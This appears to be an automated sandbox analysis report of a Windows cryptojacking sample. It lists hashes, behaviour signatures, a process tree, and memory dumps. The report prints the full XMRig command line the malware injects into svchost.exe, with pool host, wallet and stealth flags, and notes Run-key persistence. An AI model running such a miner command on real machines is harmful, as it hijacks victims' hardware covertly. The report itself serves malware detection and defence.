Analysis

  • max time kernel
    146s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    01-07-2024 12:07

General

  • Target

    1b3d88ef5b59e2b614c8be08fad7a452_JaffaCakes118.exe

  • Size

    17.2MB

  • MD5

    1b3d88ef5b59e2b614c8be08fad7a452

  • SHA1

    227991af3745dfcdc668c07abb06906eeb5f8b9b

  • SHA256

    bfee3c556a2ad412b539c0c319381561d644c1cf2c5058de123e28b44ed97ec7

  • SHA512

    d7c45dd7a425c9f2458b4bee569048d647f7c99d3889a699aadd5ae24317e07ad36b7817e6897598c39029a1353e0e73c7a266eae8741d3ce2dfeb9fd936b844

  • SSDEEP

    393216:mtJ/dhoexN5iXH91xwyRJWx/Eu1rYoOV:s1VxNg+yjGx1MoM

Score
10/10

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 16 IoCs
  • Cryptocurrency Miner

    Makes network request to known mining pool URL.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1b3d88ef5b59e2b614c8be08fad7a452_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\1b3d88ef5b59e2b614c8be08fad7a452_JaffaCakes118.exe"
    1⤵
    • Loads dropped DLL
    • Adds Run key to start application
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2212
    • C:\Users\Admin\AppData\Roaming\Services.exe
      "C:\Users\Admin\AppData\Roaming\Services.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2624
      • C:\WINDOWS\System32\svchost.exe
        C:\WINDOWS\System32\svchost.exe -B --coin=monero --asm=auto --cpu-memory-pool=-1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=mine.xmrpool.net:3333 --user=46U4yo94KMT5K911jrtMMFFAHa9ZXRmGcuj4pN1qae25JgSsVtGA4ekRN51wwPPMqKZJowXQCeabaWRnZsjUyiS3GGFZsyf --pass=qawsed123! --cpu-max-threads-hint=50 --donate-level=5 --unam-idle-wait=5 --unam-idle-cpu=0 --nicehash --tls --unam-stealth
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2676

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \Users\Admin\AppData\Roaming\Services.exe

    Filesize

    17.2MB

    MD5

    1b3d88ef5b59e2b614c8be08fad7a452

    SHA1

    227991af3745dfcdc668c07abb06906eeb5f8b9b

    SHA256

    bfee3c556a2ad412b539c0c319381561d644c1cf2c5058de123e28b44ed97ec7

    SHA512

    d7c45dd7a425c9f2458b4bee569048d647f7c99d3889a699aadd5ae24317e07ad36b7817e6897598c39029a1353e0e73c7a266eae8741d3ce2dfeb9fd936b844

  • memory/2212-0-0x000007FEF5A33000-0x000007FEF5A34000-memory.dmp

    Filesize

    4KB

  • memory/2212-1-0x000000013F270000-0x00000001403A2000-memory.dmp

    Filesize

    17.2MB

  • memory/2624-9-0x000000013F750000-0x0000000140882000-memory.dmp

    Filesize

    17.2MB

  • memory/2624-10-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

    Filesize

    9.9MB

  • memory/2624-11-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

    Filesize

    9.9MB

  • memory/2624-13-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

    Filesize

    9.9MB

  • memory/2624-14-0x0000000002300000-0x0000000002308000-memory.dmp

    Filesize

    32KB

  • memory/2624-41-0x000007FEF5A30000-0x000007FEF641C000-memory.dmp

    Filesize

    9.9MB

  • memory/2676-33-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-35-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-19-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-17-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-27-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-25-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-40-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-39-0x000007FFFFFDF000-0x000007FFFFFE0000-memory.dmp

    Filesize

    4KB

  • memory/2676-29-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-21-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-37-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-23-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-31-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-15-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-43-0x0000000000170000-0x0000000000184000-memory.dmp

    Filesize

    80KB

  • memory/2676-42-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-47-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-45-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-48-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-46-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB

  • memory/2676-44-0x0000000140000000-0x000000014072E000-memory.dmp

    Filesize

    7.2MB